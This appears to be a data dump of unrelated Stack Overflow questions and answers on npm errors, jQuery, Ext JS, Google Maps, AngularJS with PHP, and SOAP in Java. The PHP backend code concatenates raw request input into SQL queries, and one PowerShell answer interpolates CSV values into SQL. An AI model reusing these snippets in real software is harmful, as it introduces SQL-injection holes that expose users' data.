http 404 https://registry.npmjs.org/angular/core npm ERR! 404 Not Found npm ERR! 404 npm ERR! 404 'angular/core' is not in the npm registry. npm ERR! 404 You should bug the author to publish it npm ERR! 404 It was specified as a dependency of 'angular-quickstart' npm ERR! 404 npm ERR! 404 Note that you can also install from a npm ERR! 404 tarball, folder, or http url, or git url. npm ERR! System Windows_NT 6.2.9200 npm ERR! command "C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\External\\\\node\\node" "C:\\Program Files (x86)\\Microsoft Visual Studio 14.0\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\External\\npm\\node_modules\\npm\\bin\\npm-cli.js" "install" npm ERR! cwd D:\www\WebApplication1\WebApplication1 npm ERR! node -v v0.10.31 npm ERR! npm -v 1.4.9 npm ERR! code E404 npm http 404 https://registry.npmjs.org/angular/platform-browser npm http 404 https://registry.npmjs.org/angular/platform-browser-dynamic npm http 404 https://registry.npmjs.org/angular/http npm http 404 https://registry.npmjs.org/angular/compiler npm http 404 https://registry.npmjs.org/angular/router npm http 404 https://registry.npmjs.org/angular/upgrade npm http 404 https://registry.npmjs.org/angular/common npm http 304 https://registry.npmjs.org/karma-cli npm http 304 https://registry.npmjs.org/karma-jasmine npm http 304 https://registry.npmjs.org/rxjs npm http 304 https://registry.npmjs.org/typescript npm http 304 https://registry.npmjs.org/tslint npm http 404 https://registry.npmjs.org/angular/forms npm http 304 https://registry.npmjs.org/karma npm http 304 https://registry.npmjs.org/protractor npm http 200 https://registry.npmjs.org/lodash npm http 304 https://registry.npmjs.org/typings npm http 304 https://registry.npmjs.org/concurrently npm http 200 https://registry.npmjs.org/rimraf npm ====npm command completed with exit code 1==== </code></pre>
2007621	0	 <p>Don't use the Swing timer; that's a kluge from early Swing days.</p> <p>The ScheduledExecutorService is the more general and configurable of the two remaining contenders. It accepts nanosecond precision, but of course cannot provide any better than milisecond accuracy depending on platform. You'd need a real-time JVM for nanosecond accuracy.</p>
38661019	0	 <p>Try <a href="https://api.jquery.com/nextUntil/" rel="nofollow"><code>.nextUntil()</code></a>:</p> <pre><code>$(".lev1").click(function(){ $(this).nextUntil(".lev1").toggle(); }); </code></pre> <p><div class="snippet" data-lang="js" data-hide="true" data-console="false" data-babel="false"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(".lev1").click(function(){ $(this).nextUntil(".lev1").toggle(); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;div class='folder lev1'&gt;323&lt;/div&gt; &lt;div class='folder lev2'&gt;525&lt;/div&gt; &lt;div class='file lev3'&gt;727&lt;/div&gt; &lt;div class='file lev4'&gt;1625&lt;/div&gt; &lt;div class='folder lev1'&gt;new&lt;/div&gt;</code></pre> </div> </div> </p>
21812594	0	How to add (" ") to all the words i have in my String Array in eclipse? <p>How to add (<code>" "</code>) to all the words i have in my <code>String</code> Array in eclipse?</p> <p>Suppose, If i have like 100 countries name as data is it possible that i copy paste them to my </p> <pre><code>private static String[] countries = {}; </code></pre> <p>and then any technique to add (<code>" "</code>) to all of the words inside the array?</p>
38125495	0	tryin to remove repeated classes in CSS with node js purge <p>I am trying to use remove the repeated classes declared in css file using css purge of node js but after installing purge package i am getting error as shown in screenshot please help error : cannot find module /lib/css_purge</p>
29540256	0	 <p>I wrote a blog post about using SQL with PowerShell, so you can <a href="http://foxdeploy.com/2014/09/08/working-with-sql-using-powershell/" rel="nofollow">read more about it here</a>.</p> <p>We can do this easily if you have the SQL-PS module available. Simply provide values for your database name, server name, and table, then run the following:</p> <pre><code>$database = 'foxdeploy' $server = '.' $table = 'dbo.powershell_test' Import-CSV .\yourcsv.csv | ForEach-Object {Invoke-Sqlcmd ` -Database $database -ServerInstance $server ` -Query "insert into $table VALUES ('$_.Column1','$_.Column2')" } </code></pre> <p><em>To be clear, replace Column1, Column2 with the names of the columns in your CSV.</em></p> <p>Be sure that your CSV has the values in the same format as your SQL DB though, or you can run into errors. </p> <p>When this is run, you will not see any output to the console. I would recommend querying afterwards to be certain that your values are accepted.</p>
6025821	0	 <p>As eluded to by @Space_C0wb0y, you need to either build Boost.System or use its correct name for linking (e.g. -lboost_system-mt).</p>
8464254	0	 <p>You can use <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html#exec%28java.lang.String%29%20%22java.lang.Runtime.exec%28String%20command%29" rel="nofollow">java.lang.Runtime.exec(String command)</a> to execute a shell script from Java.</p>
40232797	0	Ext.Viewport.add is not a function In Ext js <p>I am very new to Ext js . I am trying to implement Grid in application in that once user will click on data new msg window will open with current data and user can edit that and this will saved in model. I am using Classic toolkit</p> <p>I tried like this:</p> <pre><code>Ext.define('MyApp.view.main.MainController', { extend: 'Ext.app.ViewController', alias: 'controller.main', require:['Ext.plugin.Viewport'], itemtap: function (view,index,item,record) { Ext.Viewport.add({ xtype:'formpanel', title:'update', width:300, centered: true, modal: true, viewModel : { data: { employee: record } }, items: [{ xtype: 'textfield', name: 'firstname', label: 'First Name', bind: '{employee.name}' }, { xtype: 'toolbar', docked: 'bottom', items: ['-&gt;', { xtype: 'button', text: 'Submit', iconCls: 'x-fa fa-check', handler: function() { this.up('formpanel').destroy(); } }, { xtype: 'button', text: 'Cancel', iconCls: 'x-fa fa-close', handler: function() { this.up('formpanel').destroy(); } }] }] }) </code></pre> <p>and In my other file i am calling this function like</p> <pre><code>listeners: { select: 'itemtap' } </code></pre> <p>But i am getting error like Ext.Viewport.add is not a function</p> <p>Kindly suggest me how can i make it possible .</p> <p>Any suggestions are welcome .</p>
40940303	0	 <p>I found the problem for my case. Jenkins has a global Git timeout of 10 minutes, but my repository takes more than 10 minutes to clone. <a href="https://issues.jenkins-ci.org/browse/JENKINS-20387" rel="nofollow noreferrer">JENKINS-20387</a> has instructions for changing the timeout. You set <code>JAVA_OPTS=-Dorg.jenkinsci.plugins.gitclient.Git.timeOut=60</code>. In my case, I had to also change it for the pod configuration for the slaves.</p>
11715834	0	Binding jqplot with dynamic data in asp.net c# <p>I am using jqplot to plot the graph in my project.I was able to draw it with static data.But i need to bind the chart with dynamic data from code behind with some datasource.</p> <p>I am new to jqplot and also in jquery. So, I am stuck on this. I will be very thankful for any solution to it.It will be grateful if you can provide example solution</p>
11060210	0	 <p>Do you mean that it generates a <code>@property</code> declaration like this?</p> <pre><code>@property (nonatomic, retain) MyObject *object; </code></pre> <p>The <code>retain</code> property attribute means <code>strong</code> under ARC.</p> <p><a href="http://clang.llvm.org/docs/AutomaticReferenceCounting.html#ownership.spelling.property" rel="nofollow">4.1.1. Property declarations</a></p>
6613644	0	 <p>Code + Unit test which will tell you whether a boxed or unboxed object is its default value. Also included generic version.</p> <pre><code> [Test] public void BoxedIntIsDefault() { Assert.That(IsDefault((object)0), Is.True); Assert.That(IsDefault((object)1), Is.False); Assert.That(IsDefault&lt;object&gt;(0), Is.True); Assert.That(IsDefault&lt;object&gt;(1), Is.False); } bool IsDefault(object obj) { return Equals(obj, GetDefault(obj.GetType())); } bool IsDefault&lt;T&gt;(T input) { return Equals(input, GetDefault(input.GetType())); } public static object GetDefault(Type type) { if (type.IsValueType) { return Activator.CreateInstance(type); } return null; } </code></pre>
5089719	0	from facebook, i want to fetch Hometown details . from it i want to saparate city,state, country <p>From facebook, i want to fetch Hometown details . from it i want to separate city,state, country. These fields are separated by comma. so i can split them by comma.</p> <p>my problem is: as soon i enter city name in hometown field of facebook, it is giving combination of city,state and country. but sometime it is giving combination of city and country so, when i split this string by comma, how to i know that second element is state or country.</p> <p>I can do one thing, i can check the length of array, if it has three filed then it has city/state/county. else city/county.</p> <p>Is this ture? can it have more files.</p>
19444591	0	 <p>The cross section is just a line graph (or two) overlayed on your original chart.</p> <p>Here's an example of overlayed charts:</p> <p><a href="http://www.sqljason.com/2012/03/overlapping-charts-in-ssrs-using-range.html" rel="nofollow">http://www.sqljason.com/2012/03/overlapping-charts-in-ssrs-using-range.html</a></p>
32663299	0	 <p>I am not sure if I understand you correctly but if you want to deploy applications on different ports, when launching your application, you can pass the port on the command line and do</p> <pre><code>./activator start -Dhttp.port=yourDynamicPort </code></pre> <p>as Kris suggests you can do </p> <pre><code>-Dhttp.address=yourIP </code></pre> <p>to assign address</p>
22720120	0	 <p>You start with <code>num = 0</code>. You then set <code>temp = num</code>, so <code>temp</code> is zero. Thus your <code>while temp &gt; 0</code> loop never runs, and so nothing is ever added to <code>rev</code>. So when you try to use <code>join</code>, it just joins an empty list and produces an empty string.</p> <p>How to fix this is unclear, since you don't say what you want the code to do.</p>
11068331	0	 <pre><code>unsigned long i = mybits.to_ulong(); unsigned char c = static_cast&lt;unsigned char&gt;( i ); // simplest -- no checks for 8 bit bitsets </code></pre> <p>Something along the lines of the above should work. Note that the bit field may contain a value that cannot be represented using a plain <code>char</code> (it is implementation defined whether it is signed or not) -- so you should always check before casting.</p> <pre><code>char c; if (i &lt;= CHAR_MAX) c = static_cast&lt;char&gt;( i ); </code></pre>
671136	0	Wrap NSButton title <p>Any way to have a NSButton title to wrap when it's width is longer than the button width, instead of getting clipped? </p> <p>I'm trying to have a radio button with a text that can be long and have multiple lines. One way I thought about having it work is to have an NSButton of type NSRadioButton but can't get multiple lines of text to work.</p> <p>Maybe my best alternative is to have an NSButton followed by an NSTextView with the mouseDown delegate function on it triggering the NSButton state?</p>
7832362	0	Google Maps Marker bug in Firefox 7.0.1? <pre><code>var map; var infoWindow; var markersArray = []; var newMarkersArray = []; var pickup_marker; $(document).ready(function() { initialize(); }); function setMarkers() { var row_length = $('#hidden_coords tr').size(); // Values of the markers are hidden within the cells of this table var marker = []; for (var z = 0; z &lt; row_length; z++) { var lng = $('#coords_lng'+z).val().trim(); var lat = $('#coords_lat'+z).val().trim(); var coord = parseFloat(lng); var coord2 = parseFloat(lat); var pos = new google.maps.LatLng(coord,coord2); marker[z] = new google.maps.Marker({ position: pos, map: map }); markersArray.push(marker[z]); } if (markersArray) { for (i in markersArray) { markersArray[i].setMap(map); } } } function initialize() { var myLatLng = new google.maps.LatLng(14.640808,121.097224); var myOptions = { maxZoom: 22, minZoom: 1, zoom: 12, center: myLatLng, mapTypeId: google.maps.MapTypeId.ROADMAP }; map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); infowindow = new google.maps.InfoWindow(); setMarkers(); google.maps.event.addListener(map, 'click', showInfoWindow); google.maps.event.addListener(map, 'click', function(event) { addMarker(event.latLng); }); } function addMarker(location) { //alert(location); var lat = location.lat(); var lng = location.lng(); $('#just_clicked_lat').val(lat); $('#just_clicked_lon').val(lng); marker = new google.maps.Marker({ position: location, map: map, icon: markerIcon }); if (newMarkersArray) { for (i in newMarkersArray) { newMarkersArray[i].setMap(null); } newMarkersArray.length = 0; } newMarkersArray.push(marker); } </code></pre> <p>This is my code. Function initialize() is called whenever the browser refreshes. Function setMarkers() makes the markers visible on the map. Function addMarker()adds a marker whenever I click on the map.</p> <p>I created two arrays, first the markersArray[], where the values of the stored lnglat that was retrieved from the database are placed. On the other hand, the newMarkersArray[] is where the new markers are placed (clicking on the map results into a marker being created).</p> <p>When creating a new marker, I make sure that only one new marker is displayed at a time. What happens if you create a marker is that an infowindow will popup which prompts the user to enter the name and address of the location. Once finished, the user should click the button which triggers an ajax function which calls a php method to save the values of the newly created marker to the sql database. Once its successfully saved, it is returned to the ajax function and the browser is reloaded using window.location.reload().</p> <p>Take note that this code works, on ALL OTHER BROWSERS except Firefox. The latest version I'm using is FF7.0.1. Please help! :(</p>
24553339	0	paste column values to another column <p>I have a simple questions that possibly can be solved with <code>paste</code> My data frame looks like this:</p> <pre><code>x&lt;-c(3,6,7) y&lt;-c(0.25,0.35,0.62) dta1&lt;-data.frame(x,y) x y 1 3 0.25 2 6 0.35 3 7 0.62 </code></pre> <p>I want to paste these values together in one column. And add or remove some characters at the same time. it will looks like this :</p> <pre><code> x 1 3(.25) 2 6(.35) 3 7(.62) </code></pre>
29326209	0	How would I get edit function with Json to redirect to another page with Angular js <p>I am having an issue were when i click edit the data only shows up on the same page not sure how to get it to redirect and show up on another page.</p> <p>controller partial code just the edit and update function </p> <pre><code>/** function to edit product details from list of product referencing php **/ $scope.prod_edit = function(index) { $scope.update_prod = true; $scope.add_prod = false; $http.post('db.php?action=edit_product', { 'prod_index' : index } ) .success(function (data, status, headers, config) { //alert(data[0]["prod_name"]); $scope.prod_id = data[0]["id"]; $scope.prod_name = data[0]["prod_name"]; $scope.prod_desc = data[0]["prod_desc"]; $scope.prod_price = data[0]["prod_price"]; $scope.prod_quantity = data[0]["prod_quantity"]; }) .error(function(data, status, headers, config){ }); } /** function to update product details after edit from list of products referencing php **/ $scope.update_product = function() { $http.post('db.php?action=update_product', { 'id' : $scope.prod_id, 'prod_name' : $scope.prod_name, 'prod_desc' : $scope.prod_desc, 'prod_price' : $scope.prod_price, 'prod_quantity' : $scope.prod_quantity } ) .success(function (data, status, headers, config) { $scope.get_product(); alert("Product has been Updated Successfully"); }) .error(function(data, status, headers, config){ }); } }); </code></pre> <p>db.php </p> <pre><code>/** Function to Edit Product **/ function edit_product() { $data = json_decode(file_get_contents("php://input")); $index = $data-&gt;prod_index; $qry = mysql_query('SELECT * from product WHERE id='.$index); $data = array(); while($rows = mysql_fetch_array($qry)) { $data[] = array( "id" =&gt; $rows['id'], "prod_name" =&gt; $rows['prod_name'], "prod_desc" =&gt; $rows['prod_desc'], "prod_price" =&gt; $rows['prod_price'], "prod_quantity" =&gt; $rows['prod_quantity'] ); } print_r(json_encode($data)); return json_encode($data); } /** Function to Update Product **/ function update_product() { $data = json_decode(file_get_contents("php://input")); $id = $data-&gt;id; $prod_name = $data-&gt;prod_name; $prod_desc = $data-&gt;prod_desc; $prod_price = $data-&gt;prod_price; $prod_quantity = $data-&gt;prod_quantity; // print_r($data); $qry = "UPDATE product set prod_name='".$prod_name."' , prod_desc='".$prod_desc."',prod_price='.$prod_price.',prod_quantity='.$prod_quantity.' WHERE id=".$id; $qry_res = mysql_query($qry); if ($qry_res) { $arr = array('msg' =&gt; "Product Updated Successfully!!!", 'error' =&gt; ''); $jsn = json_encode($arr); // print_r($jsn); } else { $arr = array('msg' =&gt; "", 'error' =&gt; 'Error In Updating record'); $jsn = json_encode($arr); // print_r($jsn); } } ?&gt; </code></pre> <p>The page i need it to redirect is <a href="http://localhost/angular_php/create_update.php" rel="nofollow">http://localhost/angular_php/create_update.php</a></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html ng-app="listpp" ng-app lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;link href="assets/css/bootstrap.min.css" rel="stylesheet"&gt; &lt;style type="text/css"&gt; ul&gt;li, a{cursor: pointer;} &lt;/style&gt; &lt;title&gt;Angular With PHP&lt;/title&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.6/angular.min.js"&gt; &lt;/script&gt; &lt;script src="controller.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;?php include "templates/header.php";?&gt; &lt;br&gt;&lt;br&gt; &lt;div ng-controller="maincontroller"&gt; &lt;div class="wrapper"&gt; &lt;div class="container col-sm-8 col-sm-offset-2"&gt; &lt;div class="page-header"&gt; &lt;h4&gt;Add/Update Product&lt;/h4&gt; &lt;/div&gt; &lt;form class="form-horizontal" name="add_product" &gt; &lt;input type="hidden" name="prod_id" ng-model="prod_id"&gt; &lt;div class="form-group"&gt; &lt;label for="firstname" class="col-sm-2 control-label"&gt;Prod Name&lt;/label&gt; &lt;div class="col-sm-3"&gt; &lt;input type="text" class="form-control" name="prod_name" ng-model="prod_name" placeholder="Enter Product Name"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="lastname" class="col-sm-2 control-label"&gt;Prod Desc&lt;/label&gt; &lt;div class="col-sm-3"&gt; &lt;input type="text" class="form-control" name="prod_desc" ng-model="prod_desc" placeholder="Enter Product Description"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="lastname" class="col-sm-2 control-label"&gt;Prod Price&lt;/label&gt; &lt;div class="col-sm-3"&gt; &lt;input type="text" class="form-control" name="prod_price" ng-model="prod_price" placeholder="Enter Product Price"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;label for="lastname" class="col-sm-2 control-label"&gt;Prod Quantity&lt;/label&gt; &lt;div class="col-sm-3"&gt; &lt;input type="text" class="form-control" name="prod_quantity" ng-model="prod_quantity" placeholder="Enter Product Quantity"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="form-group"&gt; &lt;div class="col-sm-offset-2 col-sm-10"&gt; &lt;button type="submit" class="btn btn-default" name="submit_product" ng-show='add_prod' value="Submit" ng-click="product_submit()"&gt;Submit&lt;/button&gt; &lt;button type="submit" class="btn btn-default" name="update_product" ng-show='update_prod' value="Update" ng-click="update_product()"&gt;Update&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;script src="assets/js/ui-bootstrap-tpls-0.10.0.min.js"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
13610489	1	Matplotlib Legend Subtitles <p>I would like to have subtitles in my graph legend using matplotlib. Is there any alternative to do this ?</p> <p>Thx,</p> <p>Best,</p>
13077996	0	 <p>In order to evalutate a file you have to load into memory. However, you might be able to figure out how to read only parts of a file, depending on the file format. For example the PNG file specifies a header of size of 8 bytes. However, because of compression the chunks are variable. But if you would store all the pixels in a raw format, you can directly access each pixel, because you can calculate the adress of the file and the appropriate offset. What PNG, JPEG is going to do with the raw data is impossible to predict.</p> <p>Depending on the structure of the files you might be able to compute efficient hashes. I suppose there is loads of research, if you want to really get into this, for example: <a href="http://ieeexplore.ieee.org/xpl/login.jsp?tp=&amp;arnumber=899541" rel="nofollow">http://ieeexplore.ieee.org/xpl/login.jsp?tp=&amp;arnumber=899541</a></p> <p>"This paper introduces a novel image indexing technique that may be called an image hash function. The algorithm uses randomized signal processing strategies for a non-reversible compression of images into random binary strings, and is shown to be robust against image changes due to compression, geometric distortions, and other attacks"</p>
2401596	0	 <p>Please see this <a href="http://forums.sun.com/thread.jspa?threadID=5127507" rel="nofollow noreferrer">link</a>.</p> <blockquote> <p>I just solved it actually by setting in the &lt;Applet .... tag the Name= property ...Now the Applet name is consistent across browsers.</p> </blockquote> <p>Otherwise try repeatedly calling:</p> <pre><code>getAppletContext().showStatus(""); </code></pre> <p>As described on <a href="http://www.jguru.com/faq/view.jsp?EID=487929" rel="nofollow noreferrer">jGuru</a>.</p>
506534	0	 <p>Yes, though you need to get familiar with the Team Foundation Server command line tf.exe.</p> <p>See the post I did about this a while ago here <a href="http://www.woodwardweb.com/vsts/unlocking_files.html" rel="nofollow noreferrer">http://www.woodwardweb.com/vsts/unlocking_files.html</a></p> <p>Since I wrote that post (in October 2005) some alternatives have come about for people who don't want the hassle of learning a new command line. </p> <p>You could install the <a href="http://msdn.microsoft.com/en-us/tfs2008/bb980963.aspx" rel="nofollow noreferrer">TFS 2008 Power Tools</a> on top of Visual Studio 2008 SP1 and you are able to do some of this from the UI in Visual Studio (Right click on the Developer in the Team Members node installed by the power tools and select "Show Pending Changes" and then "Undo..."</p> <p>Alternatively, install the excellent (and free) <a href="http://www.attrice.info/cm/tfs/" rel="nofollow noreferrer">TFS Sidekicks</a> from Attrice.</p> <p>Good luck.</p>
18501135	0	 <p>Try this:</p> <pre><code>&lt;div class="buttons"&gt; &lt;a href="#" class="btn" index="0"&gt;Button 1&lt;/a&gt; &lt;a href="#" class="btn" index="1"&gt;Button 2&lt;/a&gt; &lt;a href="#" class="btn" index="2"&gt;Button 3&lt;/a&gt; &lt;/div&gt; &lt;div class="text"&gt;&lt;/text&gt; var arr = ['First', 'Second', 'Third.']; $(".btn").on('click', function (e) { var index = $(this).attr("index"); $(".text").text(arr[index]); }); </code></pre>
39126959	0	 <p>In v8.0, the client is able to retrieve information from the backend system because it passed the challenge presented to it, and in return received an access token that enables it to access resources that are protected by a scope, which you define. This is how OAuth works more or less.</p> <p>Have you read the Authentication Concepts tutorial? <a href="https://mobilefirstplatform.ibmcloud.com/tutorials/en/foundation/8.0/authentication-and-security/" rel="nofollow">https://mobilefirstplatform.ibmcloud.com/tutorials/en/foundation/8.0/authentication-and-security/</a></p>
9365243	0	 <p>SQLite doesn't have any built in boolean type. You need to handle it yourself. I typically use and integer value instead and set it equal to 1 or 0 for true or false. Then if you want to check if it is true in the DB you check if the value is 1, etc.</p>
19227641	0	store each string in sentence in reverse way <p>i try with buffered string.reverse(); but i want reverse each word of sentence. so i try with this..</p> <pre><code> for(int a = 0;a &lt;= msgLength; a++){ temp += msg.charAt(a); if((msg.charAt(a) == '')||(a == msgLength)){ for(int b = temp.length()-1; b &gt;= 0; b--){ encrypt_msg += temp.charAt(a); if((b == 0) &amp;&amp; (a != msgLength)) encrypt_msg += ""; } temp = ""; } } </code></pre> <p>plz help me to simplify this logic. string is user defined. i wanted to print reversed string in jtextfields. </p>
31614397	0	 <p>U could look at </p> <p><a href="http://martyjs.org/" rel="nofollow">http://martyjs.org/</a> which is an implementation of the Flux Application Architecture. </p> <p>(es6 support/React native support/ Higher order components (containers: <a href="https://medium.com/@dan_abramov/mixins-are-dead-long-live-higher-order-components-94a0d2f9e750" rel="nofollow">https://medium.com/@dan_abramov/mixins-are-dead-long-live-higher-order-components-94a0d2f9e750</a>))</p>
33759346	0	 <p>Solution is to ditch the join table and have a direct reference between Test &lt;> Team. </p> <p>The SQL you are seeing makes sense as Hibernate cannot know that TestTeam will be the same entity referenced by Test and Team.</p> <pre><code>Test test = .../ test.getTestTeam();//triggers load **where test_id = test.id** Team team = test.getTestTeam().getTeam(); team.getTestTeam();// triggers load **where team_id = team.id** </code></pre>
20824408	0	How server respond for html, ajax, xml and json for rails app <p>In my rails app I send request in html, ajax, xml and json. For xml and json I do it by writing :format => 'json/xml', for ajax we write :remote => true. </p> <p>But how server know that it has to respond with ajax, xml or json? One thing I noticed when I send json or xml request it show in the url like below</p> <pre><code>http://localhost:3000/en/line_items.json </code></pre> <p>Though Im not sure, this is how server know if he has to give json response. But for html and ajax something like this is don't add in the url. So how server know whether it is ajax or html request?</p>
40470966	0	Unable to create envelope from given source because the root element is not named Envelope <p>I have a SOAP request that I've tested in SoapUI. I successfully get the desired response.</p> <p>The problem in my code occurs when I'm testing whether or not the response was successful at <code>if (isSuccessResponse(soapResponse)) {</code> below:</p> <pre><code>public static void main(String[] args) throws Exception { // Establish SOAP connection SOAPConnectionFactory soapConnectionFactory = SOAPConnectionFactory.newInstance(); SOAPConnection soapConnection = soapConnectionFactory.createConnection(); // Generate SOAP request SOAPMessage soapResponse = soapConnection.call(createSOAPRequest(), namespaceURI); // Test to see if SOAP response is available System.out.print("SOAP Response:"); System.out.println(); soapResponse.writeTo(System.out); // Close connection soapConnection.close(); if (isSuccessResponse(soapResponse)) { System.out.println("Success!"); } else { System.out.println("Fault!"); } } </code></pre> <p><strong>Success?</strong></p> <pre><code>private static boolean isSuccessResponse(SOAPMessage soapResponse) throws Exception { NodeList responseNodes = soapResponse.getSOAPBody().getElementsByTagNameNS("*", "HelpDesk_QueryList_Service"); if (responseNodes.getLength() == 1) return true; else return false; } </code></pre> <p><strong>Request:</strong> This code does in fact print out the correct request as it is identical to the working request in SoapUI. So why can't I get the related relevant information from the actual response? The printed response is the blank default response with all the of requisite headers but none of the desired information from my request:</p> <pre><code>private static SOAPMessage createSOAPRequest() throws Exception { MessageFactory messageFactory = MessageFactory.newInstance(); // Create SOAP Message SOAPMessage soapMessage = messageFactory.createMessage(); // Add request envelope, headers, and nodes from SOAP request SOAPPart soapPart = soapMessage.getSOAPPart(); // I used ? here for privacy reasons String xmlns = "?"; String username = "?"; String password = "?"; String qualification = "'?"; SOAPEnvelope envelope = soapPart.getEnvelope(); envelope.addNamespaceDeclaration("urn", xmlns); SOAPHeader soapHeader = envelope.getHeader(); SOAPElement authInfoElem = soapHeader.addChildElement("AuthenticationInfo", "urn"); createElementAndSetText(authInfoElem, "userName", username); createElementAndSetText(authInfoElem, "password", password); SOAPBody soapBody = envelope.getBody(); SOAPElement bodyElem = soapBody.addChildElement("HelpDesk_QueryList_Service", "urn"); createElementAndSetText(bodyElem, "Qualification", qualification); MimeHeaders headers = soapMessage.getMimeHeaders(); headers.addHeader("SOAPAction", xmlns + "/HelpDesk_QueryList_Service"); // Save request soapMessage.saveChanges(); // Print the request message System.out.print("SOAP Request:"); System.out.println(); soapMessage.writeTo(System.out); System.out.println(); System.out.println(); return soapMessage; } </code></pre> <p><strong>Error:</strong> I get the following error but I'm not sure why.</p> <pre><code>Lis 07, 2016 6:10:34 ODP. com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl lookForEnvelope SEVERE: SAAJ0514: Unable to create envelope from given source because the root element is not named Envelope Lis 07, 2016 6:10:34 ODP. com.sun.xml.internal.messaging.saaj.soap.EnvelopeFactory createEnvelope SEVERE: SAAJ0511: Unable to create envelope from given source Exception in thread "main" com.sun.xml.internal.messaging.saaj.SOAPExceptionImpl: Unable to create envelope from given source: at com.sun.xml.internal.messaging.saaj.soap.EnvelopeFactory.createEnvelope(EnvelopeFactory.java:117) at com.sun.xml.internal.messaging.saaj.soap.ver1_1.SOAPPart1_1Impl.createEnvelopeFromSource(SOAPPart1_1Impl.java:69) at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.getEnvelope(SOAPPartImpl.java:128) at com.sun.xml.internal.messaging.saaj.soap.MessageImpl.getSOAPBody(MessageImpl.java:1351) at com.xxxx.automation.remedy.RemedySOAPService.isSuccessResponse(RemedySOAPService.java:135) at com.xxxx.automation.remedy.RemedySOAPService.main(RemedySOAPService.java:52) Caused by: com.sun.xml.internal.messaging.saaj.SOAPExceptionImpl: Unable to create envelope from given source because the root element is not named "Envelope" at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.lookForEnvelope(SOAPPartImpl.java:154) at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.getEnvelope(SOAPPartImpl.java:121) at com.sun.xml.internal.messaging.saaj.soap.EnvelopeFactory.createEnvelope(EnvelopeFactory.java:110) ... 5 more CAUSE: com.sun.xml.internal.messaging.saaj.SOAPExceptionImpl: Unable to create envelope from given source because the root element is not named "Envelope" at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.lookForEnvelope(SOAPPartImpl.java:154) at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.getEnvelope(SOAPPartImpl.java:121) at com.sun.xml.internal.messaging.saaj.soap.EnvelopeFactory.createEnvelope(EnvelopeFactory.java:110) at com.sun.xml.internal.messaging.saaj.soap.ver1_1.SOAPPart1_1Impl.createEnvelopeFromSource(SOAPPart1_1Impl.java:69) at com.sun.xml.internal.messaging.saaj.soap.SOAPPartImpl.getEnvelope(SOAPPartImpl.java:128) at com.sun.xml.internal.messaging.saaj.soap.MessageImpl.getSOAPBody(MessageImpl.java:1351) at com.xxxx.automation.remedy.RemedySOAPService.isSuccessResponse(RemedySOAPService.java:135) at com.xxxx.automation.remedy.RemedySOAPService.main(RemedySOAPService.java :52) </code></pre> <p><strong>SOAP Response:</strong></p> <pre><code>&lt;soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;soapenv:Body&gt; &lt;ns0:HelpDesk_QueryList_ServiceResponse xmlns:ns0="urn:XX:XXXX:HPD_IncidentInterface_WS"&gt; &lt;ns0:getListValues&gt; &lt;ns0:Assigned_Group&gt;XXXX&lt;/ns0:Assigned_Group&gt; &lt;ns0:Assigned_Group_Shift_Name/&gt; &lt;ns0:Assigned_Support_Company&gt;XXXX&lt;/ns0:Assigned_Support_Company&gt; &lt;ns0:Assigned_Support_Organization&gt;XXXX&lt;/ns0:Assigned_Support_Organization&gt; &lt;ns0:Assignee/&gt; &lt;ns0:Categorization_Tier_1/&gt; &lt;ns0:Categorization_Tier_2/&gt; &lt;ns0:Categorization_Tier_3/&gt; &lt;ns0:City/&gt; &lt;ns0:Closure_Manufacturer/&gt; &lt;ns0:Closure_Product_Category_Tier1&gt;XXXX&lt;/ns0:Closure_Product_Category_Tier1&gt; &lt;ns0:Closure_Product_Category_Tier2&gt;XXXX&lt;/ns0:Closure_Product_Category_Tier2&gt; &lt;ns0:Closure_Product_Category_Tier3/&gt; &lt;ns0:Closure_Product_Model_Version/&gt; &lt;ns0:Closure_Product_Name/&gt; &lt;ns0:Company&gt;XXXX&lt;/ns0:Company&gt; &lt;ns0:Contact_Company&gt;XXXX&lt;/ns0:Contact_Company&gt; &lt;ns0:Contact_Sensitivity&gt;Standard&lt;/ns0:Contact_Sensitivity&gt; &lt;ns0:Country/&gt; &lt;ns0:Department&gt;XXXX&lt;/ns0:Department&gt; &lt;ns0:Summary&gt;XXXX&lt;/ns0:Summary&gt; &lt;ns0:Notes/&gt; &lt;ns0:First_Name&gt;XXXX&lt;/ns0:First_Name&gt; &lt;ns0:Impact&gt;4-Minor/Localized&lt;/ns0:Impact&gt; &lt;ns0:Incident_Number&gt;XXXX&lt;/ns0:Incident_Number&gt; &lt;ns0:Internet_E-mail&gt;XXXX&lt;/ns0:Internet_E-mail&gt; &lt;ns0:Last_Name&gt;XXXX&lt;/ns0:Last_Name&gt; &lt;ns0:Manufacturer/&gt; &lt;ns0:Organization&gt;XXXX&lt;/ns0:Organization&gt; 